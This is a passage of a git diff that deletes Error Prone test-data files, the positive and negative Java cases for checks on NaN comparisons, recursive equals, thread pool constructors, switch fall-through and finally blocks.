I, - B1 extends I, - C1 extends I, - A2 extends I, - B2 extends I, - C2 extends I> - void something(J j1, J j2) { - // Technically this could work, since there's nothing stopping A1 == A2, etc. - boolean equals = j1.equals(j2); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsNaNNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsNaNNegativeCases.java deleted file mode 100644 index c61702e173b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsNaNNegativeCases.java +++ /dev/null @@ -1,25 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author lowasser@google.com (Louis Wasserman) - */ -public class EqualsNaNNegativeCases { - static final boolean NAN_AFTER_MATH = (0.0 / 0.0) == 1.0; - static final boolean NORMAL_COMPARISON = 1.0 == 2.0; -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsNaNPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsNaNPositiveCases.java deleted file mode 100644 index 898dec47f61..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsNaNPositiveCases.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author lowasser@google.com (Louis Wasserman) - */ -public class EqualsNaNPositiveCases { - - // BUG: Diagnostic contains: Double.isNaN(0.0) - static final boolean ZERO_DOUBLE_NAN = 0.0 == Double.NaN; - - // BUG: Diagnostic contains: !Double.isNaN(1.0) - static final boolean ONE_NOT_DOUBLE_NAN = Double.NaN != 1.0; - - // BUG: Diagnostic contains: Float.isNaN(2.f) - static final boolean TWO_FLOAT_NAN = 2.f == Float.NaN; - - // BUG: Diagnostic contains: !Float.isNaN(3.0f) - static final boolean THREE_NOT_FLOAT_NAN = 3.0f != Float.NaN; - - // BUG: Diagnostic contains: Double.isNaN(Double.NaN) - static final boolean NAN_IS_NAN = Double.NaN == Double.NaN; - - // BUG: Diagnostic contains: Double.isNaN(123456) - static final boolean INT_IS_NAN = 123456 == Double.NaN; -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsReferenceNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsReferenceNegativeCases.java deleted file mode 100644 index 830ee155b83..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsReferenceNegativeCases.java +++ /dev/null @@ -1,81 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** Created by mariasam on 6/23/17. */ -public class EqualsReferenceNegativeCases { - - @Override - public boolean equals(Object o) { - return (this == o); - } - - class OtherEquals { - @Override - public boolean equals(Object o) { - if (o.equals("hi")) { - return true; - } else { - return o == this; - } - } - } - - class EqualsThisLast { - @Override - public boolean equals(Object o) { - if (o instanceof EqualsThisLast) { - return true; - } - return o.equals(this); - } - } - - class Foo { - @Override - public boolean equals(Object o) { - return o instanceof Foo && this.equals((Foo) o); - } - - public boolean equals(Foo o) { - return true; - } - } - - class OtherEqualsMethod { - @Override - public boolean equals(Object o) { - return equals((String) o); - } - - public boolean equals(String o) { - return true; - } - } - - class CodeBase { - public CodeBase(Object o) {} - - public boolean equals(Object obj) { - CodeBase other = (CodeBase) obj; - return equals(new CodeBase(other.getValue())); - } - - public Object getValue() { - return null; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsReferencePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsReferencePositiveCases.java deleted file mode 100644 index 62129aa5728..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/EqualsReferencePositiveCases.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** Created by mariasam on 6/22/17. */ -public class EqualsReferencePositiveCases { - - @Override - // BUG: Diagnostic contains: == - public boolean equals(Object o) { - System.out.println(this.equals(o)); - return true; - } - - class EqualsInElse { - @Override - // BUG: Diagnostic contains: == - public boolean equals(Object o) { - System.out.println(o == this); - return this.equals(o); - } - } - - class FinalObject { - @Override - // BUG: Diagnostic contains: == - public boolean equals(final Object object) { - return this.equals(object); - } - } - - class NoThis { - @Override - // BUG: Diagnostic contains: == - public boolean equals(Object o) { - return equals(o); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ErroneousThreadPoolConstructorCheckerNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ErroneousThreadPoolConstructorCheckerNegativeCases.java deleted file mode 100644 index 6e46463f2c0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ErroneousThreadPoolConstructorCheckerNegativeCases.java +++ /dev/null @@ -1,95 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static java.util.concurrent.TimeUnit.SECONDS; - -import java.util.Collection; -import java.util.concurrent.ArrayBlockingQueue; -import java.util.concurrent.LinkedBlockingDeque; -import java.util.concurrent.LinkedBlockingQueue; -import java.util.concurrent.SynchronousQueue; -import java.util.concurrent.ThreadPoolExecutor; - -/** - * Negative test cases for {@link - * com.google.errorprone.bugpatterns.ErroneousThreadPoolConstructorChecker} bug pattern. - */ -final class ErroneousThreadPoolConstructorCheckerNegativeCases { - - private static final int CORE_POOL_SIZE = 10; - private static final int MAXIMUM_POOL_SIZE = 20; - private static final long KEEP_ALIVE_TIME = 60; - - private void createThreadPoolWithUnboundedQueue() { - new ThreadPoolExecutor( - MAXIMUM_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new LinkedBlockingQueue<>()); - } - - private void createThreadPoolWithUnboundedQueueAndEmptyPool() { - new ThreadPoolExecutor(0, 1, KEEP_ALIVE_TIME, SECONDS, new LinkedBlockingQueue<>()); - } - - private void createThreadPoolWithBoundedArrayBlockingQueue( - int initialCapacity, boolean fair, Collection initialTasks) { - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new ArrayBlockingQueue<>(initialCapacity)); - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new ArrayBlockingQueue<>(initialCapacity, fair)); - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new ArrayBlockingQueue<>(initialCapacity, fair, initialTasks)); - } - - private void createThreadPoolWithBoundedLinkedBlockingQueue(int capacity) { - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new LinkedBlockingQueue<>(capacity)); - } - - private void createThreadPoolWithBoundedLinkedBlockingDeque(int capacity) { - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new LinkedBlockingDeque<>(capacity)); - } - - private void createThreadPoolWithBoundedSynchronousQueue() { - new ThreadPoolExecutor( - CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new SynchronousQueue<>()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ErroneousThreadPoolConstructorCheckerPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ErroneousThreadPoolConstructorCheckerPositiveCases.java deleted file mode 100644 index 32a7c6dcf3d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ErroneousThreadPoolConstructorCheckerPositiveCases.java +++ /dev/null @@ -1,105 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static java.util.Comparator.comparingInt; -import static java.util.concurrent.TimeUnit.SECONDS; - -import java.util.Collection; -import java.util.concurrent.LinkedBlockingDeque; -import java.util.concurrent.LinkedBlockingQueue; -import java.util.concurrent.LinkedTransferQueue; -import java.util.concurrent.PriorityBlockingQueue; -import java.util.concurrent.ThreadPoolExecutor; - -/** - * Positive test cases for {@link - * com.google.errorprone.bugpatterns.ErroneousThreadPoolConstructorChecker} bug pattern. - */ -final class ErroneousThreadPoolConstructorCheckerPositiveCases { - - private static final int CORE_POOL_SIZE = 10; - private static final int MAXIMUM_POOL_SIZE = 20; - private static final long KEEP_ALIVE_TIME = 60; - - private void createThreadPoolWithUnboundedLinkedBlockingQueue(Collection initialTasks) { - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new LinkedBlockingQueue<>()); - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new LinkedBlockingQueue<>(initialTasks)); - } - - private void createThreadPoolWithUnboundedLinkedBlockingDeque(Collection initialTasks) { - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new LinkedBlockingDeque<>()); - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new LinkedBlockingDeque<>(initialTasks)); - } - - private void createThreadPoolWithUnboundedLinkedTransferQueue(Collection initialTasks) { - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new LinkedTransferQueue<>()); - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new LinkedTransferQueue<>(initialTasks)); - } - - private void createThreadPoolWithUnboundedPriorityBlockingQueue( - int initialCapacity, Collection initialTasks) { - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new PriorityBlockingQueue<>()); - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new PriorityBlockingQueue<>(initialTasks)); - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new PriorityBlockingQueue<>(initialCapacity)); - // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker - new ThreadPoolExecutor( - CORE_POOL_SIZE, - MAXIMUM_POOL_SIZE, - KEEP_ALIVE_TIME, - SECONDS, - new PriorityBlockingQueue<>(initialCapacity, comparingInt(Object::hashCode))); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FallThroughNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FallThroughNegativeCases.java deleted file mode 100644 index c2b8f875b14..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FallThroughNegativeCases.java +++ /dev/null @@ -1,162 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.FileInputStream; -import java.io.IOException; - -public class FallThroughNegativeCases { - - public class AllowAnyComment { - - public int numTweets = 55000000; - - public int everyBodyIsDoingIt(int a, int b) { - switch (a) { - case 1: - System.out.println("1"); - // fall through - case 2: - System.out.println("2"); - break; - default: - } - return 0; - } - } - - static class EmptyDefault { - - static void foo(String s) { - switch (s) { - case "a": - case "b": - throw new RuntimeException(); - default: - // do nothing - } - } - - static void bar(String s) { - switch (s) { - default: - } - } - } - - class TerminatedSynchronizedBlock { - - private final Object o = new Object(); - - int foo(int i) { - switch (i) { - case 0: - synchronized (o) { - return i; - } - case 1: - return -1; - default: - return 0; - } - } - } - - class TryWithNonTerminatingFinally { - - int foo(int i) { - int z = 0; - switch (i) { - case 0: - try { - return i; - } finally { - z++; - } - case 1: - return -1; - default: - return 0; - } - } - } - - abstract class TryWithTerminatingCatchBlocks { - - int foo(int i) { - int z = 0; - switch (i) { - case 0: - try { - return bar(); - } catch (RuntimeException e) { - log(e); - throw e; - } catch (Exception e) { - log(e); - throw new RuntimeException(e); - } - case 1: - return -1; - default: - return 0; - } - } - - int tryWithResources(String path, int i) { - switch (i) { - case 0: - try (FileInputStream f = new FileInputStream(path)) { - return f.read(); - } catch (IOException e) { - throw new RuntimeException(e); - } - case 1: - try (FileInputStream f = new FileInputStream(path)) { - return f.read(); - } catch (IOException e) { - throw new RuntimeException(e); - } - default: - throw new RuntimeException("blah"); - } - } - - abstract int bar() throws Exception; - - void log(Throwable e) {} - } - - class TryWithTerminatingFinally { - - int foo(int i) { - int z = 0; - switch (i) { - case 0: - try { - z++; - } finally { - return i; - } - case 1: - return -1; - default: - return 0; - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FallThroughPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FallThroughPositiveCases.java deleted file mode 100644 index 8fef668c2ae..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FallThroughPositiveCases.java +++ /dev/null @@ -1,89 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -public class FallThroughPositiveCases { - - class NonTerminatingTryFinally { - - public int foo(int i) { - int z = 0; - switch (i) { - case 0: - try { - if (z > 0) { - return i; - } else { - z++; - } - } finally { - z++; - } - // BUG: Diagnostic contains: - case 1: - return -1; - default: - return 0; - } - } - } - - abstract class TryWithNonTerminatingCatch { - - int foo(int i) { - int z = 0; - switch (i) { - case 0: - try { - return bar(); - } catch (RuntimeException e) { - log(e); - throw e; - } catch (Exception e) { - log(e); // don't throw - } - // BUG: Diagnostic contains: - case 1: - return -1; - default: - return 0; - } - } - - abstract int bar() throws Exception; - - void log(Throwable e) {} - } - - public class Tweeter { - - public int numTweets = 55000000; - - public int everyBodyIsDoingIt(int a, int b) { - switch (a) { - case 1: - System.out.println("1"); - // BUG: Diagnostic contains: - case 2: - System.out.println("2"); - // BUG: Diagnostic contains: - default: - } - return 0; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyNegativeCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyNegativeCase1.java deleted file mode 100644 index 91eb1971b70..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyNegativeCase1.java +++ /dev/null @@ -1,96 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class FinallyNegativeCase1 { - - public static void test1() { - while (true) { - try { - break; - } finally { - } - } - } - - public static void test2() { - while (true) { - try { - continue; - } finally { - } - } - } - - public static void test3() { - try { - return; - } finally { - } - } - - public static void test4() throws Exception { - try { - throw new Exception(); - } catch (Exception e) { - } finally { - } - } - - /** break inner loop. */ - public void test5() { - label: - while (true) { - try { - } finally { - while (true) { - break; - } - } - } - } - - /** continue statement jumps out of inner for. */ - public void test6() { - label: - for (; ; ) { - try { - } finally { - for (; ; ) { - continue; - } - } - } - } - - /** break statement jumps out of switch. */ - public void test7() { - int i = 10; - while (true) { - try { - } finally { - switch (i) { - case 10: - break; - } - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyNegativeCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyNegativeCase2.java deleted file mode 100644 index af26b1d22d6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyNegativeCase2.java +++ /dev/null @@ -1,76 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.IOException; - -/** - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class FinallyNegativeCase2 { - public void test1(boolean flag) { - try { - return; - } finally { - } - } - - public void test2() throws Exception { - try { - } catch (Exception e) { - throw new Exception(); - } finally { - } - } - - public void returnInAnonymousClass(boolean flag) { - try { - } finally { - new Object() { - void foo() { - return; - } - }; - } - } - - public void throwFromNestedTryInFinally() throws Exception { - try { - } finally { - try { - throw new Exception(); - } catch (Exception e) { - } finally { - } - } - } - - public void nestedTryInFinally2() throws Exception { - try { - } finally { - try { - // This exception will propagate out through the enclosing finally, - // but we don't do exception analysis and have no way of knowing that. - // Xlint:finally doesn't handle this either, since it only reports - // situations where the end of a finally block is unreachable as - // defined by JLS 14.21. - throw new IOException(); - } catch (Exception e) { - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyPositiveCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyPositiveCase1.java deleted file mode 100644 index 6588c75627b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyPositiveCase1.java +++ /dev/null @@ -1,146 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * When a finally statement is exited because of a return, throw, break, or continue statement, - * unintuitive behaviour can occur. Consider: - * - *